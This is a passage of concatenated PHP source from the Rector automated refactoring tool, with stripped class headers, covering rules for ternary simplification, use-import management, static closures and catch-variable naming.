instanceof ArrayDimFetch) { return null; } $emptyExprType = $this->getType($negagedExpr->expr); if (!$emptyExprType->isArray()->yes()) { return null; } $dimFetchVar = $node->if->var; if (!$this->nodeComparator->areNodesEqual($negagedExpr->expr, $dimFetchVar)) { return null; } return new Coalesce($node->if, $node->else); } } assignAndBinaryMap = $assignAndBinaryMap; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Remove unnecessary ternary expressions', [new CodeSample('$foo === $bar ? true : false;', '$foo === $bar;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->if instanceof Expr) { return null; } $ifExpression = $node->if; if (!$this->valueResolver->isTrueOrFalse($ifExpression)) { return null; } $elseExpression = $node->else; if (!$this->valueResolver->isTrueOrFalse($elseExpression)) { return null; } $condition = $node->cond; if (!$condition instanceof BinaryOp) { return $this->processNonBinaryCondition($ifExpression, $elseExpression, $condition); } if ($this->valueResolver->isNull($ifExpression)) { return null; } if ($this->valueResolver->isNull($elseExpression)) { return null; } /** @var BinaryOp $binaryOperation */ $binaryOperation = $node->cond; if ($this->valueResolver->isTrue($ifExpression) && $this->valueResolver->isFalse($elseExpression)) { return $binaryOperation; } $inversedBinaryClass = $this->assignAndBinaryMap->getInversed($binaryOperation); if ($inversedBinaryClass === null) { return null; } return new $inversedBinaryClass($binaryOperation->left, $binaryOperation->right); } private function processNonBinaryCondition(Expr $ifExpression, Expr $elseExpression, Expr $condition) : ?Node { if ($this->valueResolver->isTrue($ifExpression) && $this->valueResolver->isFalse($elseExpression)) { return $this->processTrueIfExpressionWithFalseElseExpression($condition); } if (!$this->valueResolver->isFalse($ifExpression)) { return null; } if (!$this->valueResolver->isTrue($elseExpression)) { return null; } return $this->processFalseIfExpressionWithTrueElseExpression($condition); } private function processTrueIfExpressionWithFalseElseExpression(Expr $expr) : Expr { $exprType = $this->getType($expr); if ($exprType->isBoolean()->yes()) { return $expr; } return new Bool_($expr); } private function processFalseIfExpressionWithTrueElseExpression(Expr $expr) : Expr { if ($expr instanceof BooleanNot) { $negatedExprType = $this->getType($expr->expr); if ($negatedExprType->isBoolean()->yes()) { return $expr->expr; } return new Bool_($expr->expr); } $exprType = $this->getType($expr); if ($exprType->isBoolean()->yes()) { return new BooleanNot($expr); } return new BooleanNot(new Bool_($expr)); } } nodeTypeResolver = $nodeTypeResolver; } public function resolve(ArrayDimFetch $arrayDimFetch, Assign $assign) : ArrayType { $keyStaticType = $this->resolveDimType($arrayDimFetch); $valueStaticType = $this->nodeTypeResolver->getType($assign->expr); return new ArrayType($keyStaticType, $valueStaticType); } private function resolveDimType(ArrayDimFetch $arrayDimFetch) : Type { if ($arrayDimFetch->dim instanceof Expr) { return $this->nodeTypeResolver->getType($arrayDimFetch->dim); } return new MixedType(); } } nodeTypeResolver = $nodeTypeResolver; } public function resolve(Assign $assign) : Type { $exprType = $this->nodeTypeResolver->getType($assign->expr); if ($exprType instanceof UnionType) { return $exprType; } return $this->nodeTypeResolver->getType($assign->var); } } keyExpr = $keyExpr; $this->expr = $expr; $this->comments = $comments; } public function getKeyExpr() : ?Expr { return $this->keyExpr; } public function getExpr() : Expr { return $this->expr; } /** * @return Comment[] */ public function getComments() : array { return $this->comments; } } usedImportsResolver = $usedImportsResolver; $this->typeFactory = $typeFactory; } /** * @param Stmt[] $stmts * @param array $useImportTypes * @param array $constantUseImportTypes * @param array $functionUseImportTypes * @return Stmt[] */ public function addImportsToStmts(FileWithoutNamespace $fileWithoutNamespace, array $stmts, array $useImportTypes, array $constantUseImportTypes, array $functionUseImportTypes) : array { $usedImports = $this->usedImportsResolver->resolveForStmts($stmts); $existingUseImportTypes = $usedImports->getUseImports(); $existingConstantUseImports = $usedImports->getConstantImports(); $existingFunctionUseImports = $usedImports->getFunctionImports(); $useImportTypes = $this->diffFullyQualifiedObjectTypes($useImportTypes, $existingUseImportTypes); $constantUseImportTypes = $this->diffFullyQualifiedObjectTypes($constantUseImportTypes, $existingConstantUseImports); $functionUseImportTypes = $this->diffFullyQualifiedObjectTypes($functionUseImportTypes, $existingFunctionUseImports); $newUses = $this->createUses($useImportTypes, $constantUseImportTypes, $functionUseImportTypes, null); if ($newUses === []) { return [$fileWithoutNamespace]; } // place after declare strict_types foreach ($stmts as $key => $stmt) { // maybe just added a space if ($stmt instanceof Nop) { continue; } // when we found a non-declare, directly stop if (!$stmt instanceof Declare_) { break; } $nodesToAdd = \array_merge([new Nop()], $newUses); $this->mirrorUseComments($stmts, $newUses, $key + 1); // remove space before next use tweak if (isset($stmts[$key + 1]) && ($stmts[$key + 1] instanceof Use_ || $stmts[$key + 1] instanceof GroupUse)) { $stmts[$key + 1]->setAttribute(AttributeKey::ORIGINAL_NODE, null); } \array_splice($stmts, $key + 1, 0, $nodesToAdd); $fileWithoutNamespace->stmts = $stmts; $fileWithoutNamespace->stmts = \array_values($fileWithoutNamespace->stmts); return [$fileWithoutNamespace]; } $this->mirrorUseComments($stmts, $newUses); // make use stmts first $fileWithoutNamespace->stmts = \array_merge($newUses, $this->resolveInsertNop($fileWithoutNamespace), $stmts); $fileWithoutNamespace->stmts = \array_values($fileWithoutNamespace->stmts); return [$fileWithoutNamespace]; } /** * @param FullyQualifiedObjectType[] $useImportTypes * @param FullyQualifiedObjectType[] $constantUseImportTypes * @param FullyQualifiedObjectType[] $functionUseImportTypes */ public function addImportsToNamespace(Namespace_ $namespace, array $useImportTypes, array $constantUseImportTypes, array $functionUseImportTypes) : void { $namespaceName = $this->getNamespaceName($namespace); $existingUsedImports = $this->usedImportsResolver->resolveForStmts($namespace->stmts); $existingUseImportTypes = $existingUsedImports->getUseImports(); $existingConstantUseImportTypes = $existingUsedImports->getConstantImports(); $existingFunctionUseImportTypes = $existingUsedImports->getFunctionImports(); $existingUseImportTypes = $this->typeFactory->uniquateTypes($existingUseImportTypes); $useImportTypes = $this->diffFullyQualifiedObjectTypes($useImportTypes, $existingUseImportTypes); $constantUseImportTypes = $this->diffFullyQualifiedObjectTypes($constantUseImportTypes, $existingConstantUseImportTypes); $functionUseImportTypes = $this->diffFullyQualifiedObjectTypes($functionUseImportTypes, $existingFunctionUseImportTypes); $newUses = $this->createUses($useImportTypes, $constantUseImportTypes, $functionUseImportTypes, $namespaceName); if ($newUses === []) { return; } $this->mirrorUseComments($namespace->stmts, $newUses); $namespace->stmts = \array_merge($newUses, $this->resolveInsertNop($namespace), $namespace->stmts); $namespace->stmts = \array_values($namespace->stmts); } /** * @return Nop[] * @param \Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_ $namespace */ private function resolveInsertNop($namespace) : array { $currentStmt = $namespace->stmts[0] ?? null; if (!$currentStmt instanceof Stmt || $currentStmt instanceof Use_ || $currentStmt instanceof GroupUse) { return []; } return [new Nop()]; } /** * @param Stmt[] $stmts * @param Use_[] $newUses */ private function mirrorUseComments(array $stmts, array $newUses, int $indexStmt = 0) : void { if ($stmts === []) { return; } if (isset($stmts[$indexStmt]) && $stmts[$indexStmt] instanceof Use_) { $comments = (array) $stmts[$indexStmt]->getAttribute(AttributeKey::COMMENTS); if ($comments !== []) { $newUses[0]->setAttribute(AttributeKey::COMMENTS, $stmts[$indexStmt]->getAttribute(AttributeKey::COMMENTS)); $stmts[$indexStmt]->setAttribute(AttributeKey::COMMENTS, []); } } } /** * @param array $mainTypes * @param array $typesToRemove * @return array */ private function diffFullyQualifiedObjectTypes(array $mainTypes, array $typesToRemove) : array { foreach ($mainTypes as $key => $mainType) { foreach ($typesToRemove as $typeToRemove) { if ($mainType->equals($typeToRemove)) { unset($mainTypes[$key]); } } } return \array_values($mainTypes); } /** * @param array $useImportTypes * @param array $constantUseImportTypes * @param array $functionUseImportTypes * @return Use_[] */ private function createUses(array $useImportTypes, array $constantUseImportTypes, array $functionUseImportTypes, ?string $namespaceName) : array { $newUses = []; /** @var array> $importsMapping */ $importsMapping = [Use_::TYPE_NORMAL => $useImportTypes, Use_::TYPE_CONSTANT => $constantUseImportTypes, Use_::TYPE_FUNCTION => $functionUseImportTypes]; foreach ($importsMapping as $type => $importTypes) { /** @var AliasedObjectType|FullyQualifiedObjectType $importType */ foreach ($importTypes as $importType) { if ($namespaceName !== null && $this->isCurrentNamespace($namespaceName, $importType)) { continue; } // already imported in previous cycle $newUses[] = $importType->getUseNode($type); } } return $newUses; } private function getNamespaceName(Namespace_ $namespace) : ?string { if (!$namespace->name instanceof Name) { return null; } return $namespace->name->toString(); } private function isCurrentNamespace(string $namespaceName, ObjectType $objectType) : bool { $afterCurrentNamespace = Strings::after($objectType->getClassName(), $namespaceName . '\\'); if ($afterCurrentNamespace === null) { return \false; } return \strpos($afterCurrentNamespace, '\\') === \false; } } renamedNameCollector = $renamedNameCollector; } /** * @param Stmt[] $stmts * @param string[] $removedUses * @return Stmt[] */ public function removeImportsFromStmts(array $stmts, array $removedUses) : array { foreach ($stmts as $key => $stmt) { if (!$stmt instanceof Use_) { continue; } $stmt = $this->removeUseFromUse($removedUses, $stmt); // remove empty uses if ($stmt->uses === []) { unset($stmts[$key]); } } return $stmts; } /** * @param string[] $removedUses */ private function removeUseFromUse(array $removedUses, Use_ $use) : Use_ { foreach ($use->uses as $usesKey => $useUse) { $useName = $useUse->name->toString(); if (!\in_array($useName, $removedUses, \true)) { continue; } if (!$this->renamedNameCollector->has($useName)) { continue; } unset($use->uses[$usesKey]); } return $use; } } useImportsTraverser = $useImportsTraverser; } /** * @param Stmt[] $stmts * @return string[] */ public function resolveFromNode(Node $node, array $stmts) : array { if (!$node instanceof Namespace_ && !$node instanceof FileWithoutNamespace) { /** @var Namespace_[]|FileWithoutNamespace[] $namespaces */ $namespaces = \array_filter($stmts, static function (Stmt $stmt) : bool { return $stmt instanceof Namespace_ || $stmt instanceof FileWithoutNamespace; }); if (\count($namespaces) !== 1) { return []; } $node = \current($namespaces); } return $this->resolveFromStmts($node->stmts); } /** * @param Stmt[] $stmts * @return string[] */ public function resolveFromStmts(array $stmts) : array { $aliasedUses = []; /** @param Use_::TYPE_* $useType */ $this->useImportsTraverser->traverserStmts($stmts, static function (int $useType, UseUse $useUse, string $name) use(&$aliasedUses) : void { if ($useType !== Use_::TYPE_NORMAL) { return; } if (!$useUse->alias instanceof Identifier) { return; } $aliasedUses[] = $name; }); return $aliasedUses; } } aliasUsesResolver = $aliasUsesResolver; } public function shouldSkip(File $file, FullyQualifiedObjectType $fullyQualifiedObjectType, Node $node) : bool { $aliasedUses = $this->aliasUsesResolver->resolveFromNode($node, $file->getNewStmts()); $shortNameLowered = $fullyQualifiedObjectType->getShortNameLowered(); foreach ($aliasedUses as $aliasedUse) { $aliasedUseLowered = \strtolower($aliasedUse); // its aliased, we cannot just rename it if (\substr_compare($aliasedUseLowered, '\\' . $shortNameLowered, -\strlen('\\' . $shortNameLowered)) === 0) { return \true; } } return \false; } } shortNameResolver = $shortNameResolver; } public function shouldSkip(File $file, FullyQualifiedObjectType $fullyQualifiedObjectType, Node $node) : bool { $classLikeNames = $this->shortNameResolver->resolveShortClassLikeNames($file); if ($classLikeNames === []) { return \false; } $shortNameLowered = $fullyQualifiedObjectType->getShortNameLowered(); foreach ($classLikeNames as $classLikeName) { if (\strtolower($classLikeName) === $shortNameLowered) { return \true; } } return \false; } } shortNameResolver = $shortNameResolver; } public function shouldSkip(File $file, FullyQualifiedObjectType $fullyQualifiedObjectType, Node $node) : bool { // "new X" or "X::static()" /** @var array $shortNamesToFullyQualifiedNames */ $shortNamesToFullyQualifiedNames = $this->shortNameResolver->resolveFromFile($file); $fullyQualifiedObjectTypeShortName = $fullyQualifiedObjectType->getShortName(); $className = $fullyQualifiedObjectType->getClassName(); foreach ($shortNamesToFullyQualifiedNames as $shortName => $fullyQualifiedName) { if ($fullyQualifiedObjectTypeShortName !== $shortName) { $shortName = $this->cleanShortName($shortName); } if ($fullyQualifiedObjectTypeShortName !== $shortName) { continue; } $fullyQualifiedName = \ltrim($fullyQualifiedName, '\\'); return $className !== $fullyQualifiedName; } return \false; } private function cleanShortName(string $shortName) : string { return \strncmp($shortName, '\\', \strlen('\\')) === 0 ? \ltrim((string) Strings::after($shortName, '\\', -1)) : $shortName; } } useNodesToAddCollector = $useNodesToAddCollector; } public function shouldSkip(File $file, FullyQualifiedObjectType $fullyQualifiedObjectType, Node $node) : bool { $useImportTypes = $this->useNodesToAddCollector->getUseImportTypesByNode($file); foreach ($useImportTypes as $useImportType) { if (!$useImportType->equals($fullyQualifiedObjectType) && $useImportType->areShortNamesEqual($fullyQualifiedObjectType)) { return \true; } if ($useImportType->equals($fullyQualifiedObjectType)) { return \false; } } return \false; } } classNameImportSkipVoters = $classNameImportSkipVoters; $this->useImportsResolver = $useImportsResolver; } public function shouldSkipNameForFullyQualifiedObjectType(File $file, Node $node, FullyQualifiedObjectType $fullyQualifiedObjectType) : bool { foreach ($this->classNameImportSkipVoters as $classNameImportSkipVoter) { if ($classNameImportSkipVoter->shouldSkip($file, $fullyQualifiedObjectType, $node)) { return \true; } } return \false; } /** * @param array $uses */ public function shouldSkipName(FullyQualified $fullyQualified, array $uses) : bool { if (\substr_count($fullyQualified->toCodeString(), '\\') === 1) { return $this->shouldSkipShortName($fullyQualified); } // verify long name, as short name verify may conflict // see test PR: https://github.com/rectorphp/rector-src/pull/6208 // ref https://3v4l.org/21H5j vs https://3v4l.org/GIHSB $originalName = $fullyQualified->getAttribute(AttributeKey::ORIGINAL_NAME); if ($originalName instanceof Name && $originalName->getLast() === $originalName->toString()) { return \true; } $stringName = $fullyQualified->toString(); $lastUseName = $fullyQualified->getLast(); $nameLastName = \strtolower($lastUseName); foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); $useName = $prefix . $stringName; foreach ($use->uses as $useUse) { $useUseLastName = \strtolower($useUse->name->getLast()); if ($useUseLastName !== $nameLastName) { continue; } if ($this->isConflictedShortNameInUse($useUse, $useName, $lastUseName, $stringName)) { return \true; } return $prefix . $useUse->name->toString() !== $stringName; } } return \false; } private function shouldSkipShortName(FullyQualified $fullyQualified) : bool { // is scalar name? if (\in_array($fullyQualified->toLowerString(), ['true', 'false', 'bool'], \true)) { return \true; } if ($fullyQualified->isSpecialClassName()) { return \true; } if ($this->isFunctionOrConstantImport($fullyQualified)) { return \true; } // Importing root namespace classes (like \DateTime) is optional return !SimpleParameterProvider::provideBoolParameter(Option::IMPORT_SHORT_CLASSES); } private function isFunctionOrConstantImport(FullyQualified $fullyQualified) : bool { if ($fullyQualified->getAttribute(AttributeKey::IS_CONSTFETCH_NAME) === \true) { return \true; } return $fullyQualified->getAttribute(AttributeKey::IS_FUNCCALL_NAME) === \true; } private function isConflictedShortNameInUse(UseUse $useUse, string $useName, string $lastUseName, string $stringName) : bool { if (!$useUse->alias instanceof Identifier && $useName !== $stringName && $lastUseName === $stringName) { return \true; } return $useUse->alias instanceof Identifier && $useUse->alias->toString() === $stringName; } } */ private $shortNamesByFilePath = []; public function __construct(SimpleCallableNodeTraverser $simpleCallableNodeTraverser, NodeNameResolver $nodeNameResolver, BetterNodeFinder $betterNodeFinder, UseImportNameMatcher $useImportNameMatcher, PhpDocInfoFactory $phpDocInfoFactory) { $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeNameResolver = $nodeNameResolver; $this->betterNodeFinder = $betterNodeFinder; $this->useImportNameMatcher = $useImportNameMatcher; $this->phpDocInfoFactory = $phpDocInfoFactory; } /** * @return array */ public function resolveFromFile(File $file) : array { $filePath = $file->getFilePath(); if (isset($this->shortNamesByFilePath[$filePath])) { return $this->shortNamesByFilePath[$filePath]; } $shortNamesToFullyQualifiedNames = $this->resolveForStmts($file->getNewStmts()); $this->shortNamesByFilePath[$filePath] = $shortNamesToFullyQualifiedNames; return $shortNamesToFullyQualifiedNames; } /** * Collects all "class ", "trait " and "interface " * @return string[] */ public function resolveShortClassLikeNames(File $file) : array { $newStmts = $file->getNewStmts(); /** @var Namespace_[]|FileWithoutNamespace[] $namespaces */ $namespaces = \array_filter($newStmts, static function (Stmt $stmt) : bool { return $stmt instanceof Namespace_ || $stmt instanceof FileWithoutNamespace; }); if (\count($namespaces) !== 1) { // only handle single namespace nodes return []; } $namespace = \current($namespaces); /** @var ClassLike[] $classLikes */ $classLikes = $this->betterNodeFinder->findInstanceOf($namespace->stmts, ClassLike::class); $shortClassLikeNames = []; foreach ($classLikes as $classLike) { $shortClassLikeNames[] = $this->nodeNameResolver->getShortName($classLike); } return \array_unique($shortClassLikeNames); } /** * @param Stmt[] $stmts * @return array */ private function resolveForStmts(array $stmts) : array { $shortNamesToFullyQualifiedNames = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, function (Node $node) use(&$shortNamesToFullyQualifiedNames) { // class name is used! if ($node instanceof ClassLike && $node->name instanceof Identifier) { $fullyQualifiedName = $this->nodeNameResolver->getName($node); if ($fullyQualifiedName === null) { return null; } $shortNamesToFullyQualifiedNames[$node->name->toString()] = $fullyQualifiedName; return null; } if (!$node instanceof Name) { return null; } $originalName = $node->getAttribute(AttributeKey::ORIGINAL_NAME); if (!$originalName instanceof Name) { return null; } // already short if (\strpos($originalName->toString(), '\\') !== \false) { return null; } $shortNamesToFullyQualifiedNames[$originalName->toString()] = $this->nodeNameResolver->getName($node); return null; }); $docBlockShortNamesToFullyQualifiedNames = $this->resolveFromStmtsDocBlocks($stmts); /** @var array $result */ $result = \array_merge($shortNamesToFullyQualifiedNames, $docBlockShortNamesToFullyQualifiedNames); return $result; } /** * @param Stmt[] $stmts * @return array */ private function resolveFromStmtsDocBlocks(array $stmts) : array { $shortNames = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($stmts, function (Node $node) use(&$shortNames) { // speed up for nodes that are $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo) { return null; } $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($phpDocInfo->getPhpDocNode(), '', static function ($node) use(&$shortNames) { if ($node instanceof PhpDocTagNode) { $shortName = \trim($node->name, '@'); if (\ucfirst($shortName) === $shortName) { $shortNames[] = $shortName; } return null; } if ($node instanceof IdentifierTypeNode) { $shortNames[] = $node->name; } return null; }); return null; }); return $this->fqnizeShortNames($shortNames, $stmts); } /** * @param string[] $shortNames * @param Stmt[] $stmts * @return array */ private function fqnizeShortNames(array $shortNames, array $stmts) : array { $shortNamesToFullyQualifiedNames = []; foreach ($shortNames as $shortName) { $stmtsMatchedName = $this->useImportNameMatcher->matchNameWithStmts($shortName, $stmts); if ($stmtsMatchedName == null) { continue; } $shortNamesToFullyQualifiedNames[$shortName] = $stmtsMatchedName; } return $shortNamesToFullyQualifiedNames; } } nodeNameResolver = $nodeNameResolver; } /** * @param Stmt[] $stmts * @param callable(Use_::TYPE_* $useType, UseUse $useUse, string $name): void $callable */ public function traverserStmts(array $stmts, callable $callable) : void { foreach ($stmts as $stmt) { if ($stmt instanceof Namespace_ || $stmt instanceof FileWithoutNamespace) { $this->traverserStmts($stmt->stmts, $callable); continue; } if ($stmt instanceof Use_) { foreach ($stmt->uses as $useUse) { $name = $this->nodeNameResolver->getName($useUse); if ($name === null) { continue; } $callable($stmt->type, $useUse, $name); } continue; } if ($stmt instanceof GroupUse) { $this->processGroupUse($stmt, $callable); } } } /** * @param callable(Use_::TYPE_* $useType, UseUse $useUse, string $name): void $callable */ private function processGroupUse(GroupUse $groupUse, callable $callable) : void { if ($groupUse->type !== Use_::TYPE_UNKNOWN) { return; } $prefixName = $groupUse->prefix->toString(); foreach ($groupUse->uses as $useUse) { $name = $prefixName . '\\' . $this->nodeNameResolver->getName($useUse); $callable($useUse->type, $useUse, $name); } } } betterNodeFinder = $betterNodeFinder; $this->useImportsTraverser = $useImportsTraverser; $this->nodeNameResolver = $nodeNameResolver; } /** * @param Stmt[] $stmts */ public function resolveForStmts(array $stmts) : UsedImports { $usedImports = []; /** @var Class_|null $class */ $class = $this->betterNodeFinder->findFirstInstanceOf($stmts, Class_::class); // add class itself // is not anonymous class if ($class instanceof Class_) { $className = (string) $this->nodeNameResolver->getName($class); $usedImports[] = new FullyQualifiedObjectType($className); } $usedConstImports = []; $usedFunctionImports = []; /** @param Use_::TYPE_* $useType */ $this->useImportsTraverser->traverserStmts($stmts, static function (int $useType, UseUse $useUse, string $name) use(&$usedImports, &$usedFunctionImports, &$usedConstImports) : void { if ($useType === Use_::TYPE_NORMAL) { if ($useUse->alias instanceof Identifier) { $usedImports[] = new AliasedObjectType($useUse->alias->toString(), $name); } else { $usedImports[] = new FullyQualifiedObjectType($name); } } if ($useType === Use_::TYPE_FUNCTION) { $usedFunctionImports[] = new FullyQualifiedObjectType($name); } if ($useType === Use_::TYPE_CONSTANT) { $usedConstImports[] = new FullyQualifiedObjectType($name); } }); return new UsedImports($usedImports, $usedFunctionImports, $usedConstImports); } } * @readonly */ private $useImports; /** * @var FullyQualifiedObjectType[] * @readonly */ private $functionImports; /** * @var FullyQualifiedObjectType[] * @readonly */ private $constantImports; /** * @param array $useImports * @param FullyQualifiedObjectType[] $functionImports * @param FullyQualifiedObjectType[] $constantImports */ public function __construct(array $useImports, array $functionImports, array $constantImports) { $this->useImports = $useImports; $this->functionImports = $functionImports; $this->constantImports = $constantImports; } /** * @return array */ public function getUseImports() : array { return $this->useImports; } /** * @return FullyQualifiedObjectType[] */ public function getFunctionImports() : array { return $this->functionImports; } /** * @return FullyQualifiedObjectType[] */ public function getConstantImports() : array { return $this->constantImports; } } betterNodeFinder = $betterNodeFinder; $this->reflectionResolver = $reflectionResolver; } /** * @param \PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $node */ public function isLegal($node) : bool { if ($node->static) { return \false; } $nodes = $node instanceof Closure ? $node->stmts : [$node->expr]; return !(bool) $this->betterNodeFinder->findFirst($nodes, function (Node $subNode) : bool { if (!$subNode instanceof StaticCall) { return $subNode instanceof Variable && $subNode->name === 'this'; } $methodReflection = $this->reflectionResolver->resolveMethodReflectionFromStaticCall($subNode); if (!$methodReflection instanceof MethodReflection) { return \false; } return !$methodReflection->isStatic(); }); } } name instanceof Identifier) { return ''; } return $this->getShortName($name->name); } if ($name instanceof Name || $name instanceof Identifier) { $name = $name->toString(); } $name = \trim($name, '\\'); $shortName = Strings::after($name, '\\', -1); if (\is_string($shortName)) { return $shortName; } return $name; } } classNameImportSkipper = $classNameImportSkipper; $this->fullyQualifiedNodeMapper = $fullyQualifiedNodeMapper; $this->useNodesToAddCollector = $useNodesToAddCollector; $this->aliasNameResolver = $aliasNameResolver; } /** * @param array $currentUses */ public function importName(FullyQualified $fullyQualified, File $file, array $currentUses) : ?Name { if ($this->classNameImportSkipper->shouldSkipName($fullyQualified, $currentUses)) { return null; } $staticType = $this->fullyQualifiedNodeMapper->mapToPHPStan($fullyQualified); if (!$staticType instanceof FullyQualifiedObjectType) { return null; } return $this->importNameAndCollectNewUseStatement($file, $fullyQualified, $staticType, $currentUses); } /** * @param array $currentUses */ private function resolveNameInUse(FullyQualified $fullyQualified, array $currentUses) : ?Name { $aliasName = $this->aliasNameResolver->resolveByName($fullyQualified, $currentUses); if (\is_string($aliasName)) { return new Name($aliasName); } if (\substr_count($fullyQualified->toCodeString(), '\\') === 1) { return null; } $lastName = $fullyQualified->getLast(); foreach ($currentUses as $currentUse) { foreach ($currentUse->uses as $useUse) { if ($useUse->name->getLast() !== $lastName) { continue; } if ($useUse->alias instanceof Identifier && $useUse->alias->toString() !== $lastName) { return new Name($lastName); } } } return null; } /** * @param array $currentUses */ private function importNameAndCollectNewUseStatement(File $file, FullyQualified $fullyQualified, FullyQualifiedObjectType $fullyQualifiedObjectType, array $currentUses) : ?Name { // make use of existing use import $nameInUse = $this->resolveNameInUse($fullyQualified, $currentUses); if ($nameInUse instanceof Name) { $nameInUse->setAttribute(AttributeKey::NAMESPACED_NAME, $fullyQualified->toString()); return $nameInUse; } // the same end is already imported → skip if ($this->classNameImportSkipper->shouldSkipNameForFullyQualifiedObjectType($file, $fullyQualified, $fullyQualifiedObjectType)) { return null; } if ($this->useNodesToAddCollector->isShortImported($file, $fullyQualifiedObjectType)) { if ($this->useNodesToAddCollector->isImportShortable($file, $fullyQualifiedObjectType)) { return $fullyQualifiedObjectType->getShortNameNode(); } return null; } $this->addUseImport($file, $fullyQualified, $fullyQualifiedObjectType); return $fullyQualifiedObjectType->getShortNameNode(); } private function addUseImport(File $file, FullyQualified $fullyQualified, FullyQualifiedObjectType $fullyQualifiedObjectType) : void { if ($this->useNodesToAddCollector->hasImport($file, $fullyQualified, $fullyQualifiedObjectType)) { return; } if ($fullyQualified->getAttribute(AttributeKey::IS_FUNCCALL_NAME) === \true) { $this->useNodesToAddCollector->addFunctionUseImport($fullyQualifiedObjectType); } elseif ($fullyQualified->getAttribute(AttributeKey::IS_CONSTFETCH_NAME) === \true) { $this->useNodesToAddCollector->addConstantUseImport($fullyQualifiedObjectType); } else { $this->useNodesToAddCollector->addUseImport($fullyQualifiedObjectType); } } } betterNodeFinder = $betterNodeFinder; $this->useImportsResolver = $useImportsResolver; } /** * @param Stmt[] $stmts */ public function matchNameWithStmts(string $tag, array $stmts) : ?string { /** @var Use_[] $uses */ $uses = $this->betterNodeFinder->findInstanceOf($stmts, Use_::class); return $this->matchNameWithUses($tag, $uses); } /** * @param array $uses */ public function matchNameWithUses(string $tag, array $uses) : ?string { foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); foreach ($use->uses as $useUse) { if (!$this->isUseMatchingName($tag, $useUse)) { continue; } return $this->resolveName($prefix, $tag, $useUse); } } return null; } private function resolveName(string $prefix, string $tag, UseUse $useUse) : string { // useuse can be renamed on the fly, so just in case, use the original one $originalUseUseNode = $useUse->getAttribute(AttributeKey::ORIGINAL_NODE); if (!$originalUseUseNode instanceof UseUse) { throw new ShouldNotHappenException(); } if (!$originalUseUseNode->alias instanceof Identifier) { $lastName = $originalUseUseNode->name->getLast(); if (\strncmp($tag, $lastName . '\\', \strlen($lastName . '\\')) === 0) { $tagName = Strings::after($tag, '\\'); return $prefix . $originalUseUseNode->name->toString() . '\\' . $tagName; } return $prefix . $originalUseUseNode->name->toString(); } $unaliasedShortClass = Strings::substring($tag, \strlen($originalUseUseNode->alias->toString())); if (\strncmp($unaliasedShortClass, '\\', \strlen('\\')) === 0) { return $prefix . $originalUseUseNode->name . $unaliasedShortClass; } return $prefix . $originalUseUseNode->name . '\\' . $unaliasedShortClass; } private function isUseMatchingName(string $tag, UseUse $useUse) : bool { // useuse can be renamed on the fly, so just in case, use the original one $originalUseUseNode = $useUse->getAttribute(AttributeKey::ORIGINAL_NODE); if (!$originalUseUseNode instanceof UseUse) { return \false; } $shortName = $originalUseUseNode->alias instanceof Identifier ? $originalUseUseNode->alias->name : $originalUseUseNode->name->getLast(); $shortNamePattern = \preg_quote($shortName, '#'); $pattern = \sprintf(self::SHORT_NAME_REGEX, $shortNamePattern); return StringUtils::isMatch($tag, $pattern); } } nodeTypeResolver = $nodeTypeResolver; } public function create(Array_ $array) : ?MethodCall { if (\count($array->items) !== 2) { return null; } $firstItem = $array->items[0]; $secondItem = $array->items[1]; if (!$firstItem instanceof ArrayItem) { return null; } if (!$secondItem instanceof ArrayItem) { return null; } if (!$secondItem->value instanceof String_) { return null; } if (!$firstItem->value instanceof PropertyFetch && !$firstItem->value instanceof Variable) { return null; } $firstItemType = $this->nodeTypeResolver->getType($firstItem->value); if (!$firstItemType instanceof TypeWithClassName) { return null; } $string = $secondItem->value; $methodName = $string->value; return new MethodCall($firstItem->value, $methodName); } } staticGuard = $staticGuard; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes ArrowFunction to be static when possible', [new CodeSample(<<<'CODE_SAMPLE' fn (): string => 'test'; CODE_SAMPLE , <<<'CODE_SAMPLE' static fn (): string => 'test'; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ArrowFunction::class]; } /** * @param ArrowFunction $node */ public function refactor(Node $node) : ?Node { if (!$this->staticGuard->isLegal($node)) { return null; } $node->static = \true; return $node; } } > */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return Expression[]|null */ public function refactor(Node $node) : ?array { if (!$node->expr instanceof Assign) { return null; } $firstAssign = $node->expr; if (!$firstAssign->expr instanceof Assign) { return null; } $expr = $this->resolveLastAssignExpr($firstAssign); $collectExpressions = $this->collectExpressions($firstAssign, $expr); if ($collectExpressions === []) { return null; } return $collectExpressions; } /** * @return Expression[] */ private function collectExpressions(Assign $assign, Expr $expr) : array { /** @var Expression[] $expressions */ $expressions = []; while ($assign instanceof Assign) { if ($assign->var instanceof ArrayDimFetch) { return []; } $expressions[] = new Expression(new Assign($assign->var, $expr)); // CallLike check need to be after first fill Expression // so use existing variable defined to avoid repetitive call if ($expr instanceof CallLike) { $expr = $assign->var; } if (!$assign->expr instanceof Assign) { break; } /** @var Expr $assign */ $assign = $assign->expr; } return $expressions; } private function resolveLastAssignExpr(Assign $assign) : Expr { if (!$assign->expr instanceof Assign) { return $assign->expr; } return $this->resolveLastAssignExpr($assign->expr); } } propertyNaming = $propertyNaming; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Type and name of catch exception should match', [new CodeSample(<<<'CODE_SAMPLE' try { // ... } catch (SomeException $typoException) { $typoException->getMessage(); } CODE_SAMPLE , <<<'CODE_SAMPLE' try { // ... } catch (SomeException $someException) { $someException->getMessage(); } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class, FileWithoutNamespace::class, Namespace_::class]; } /** * 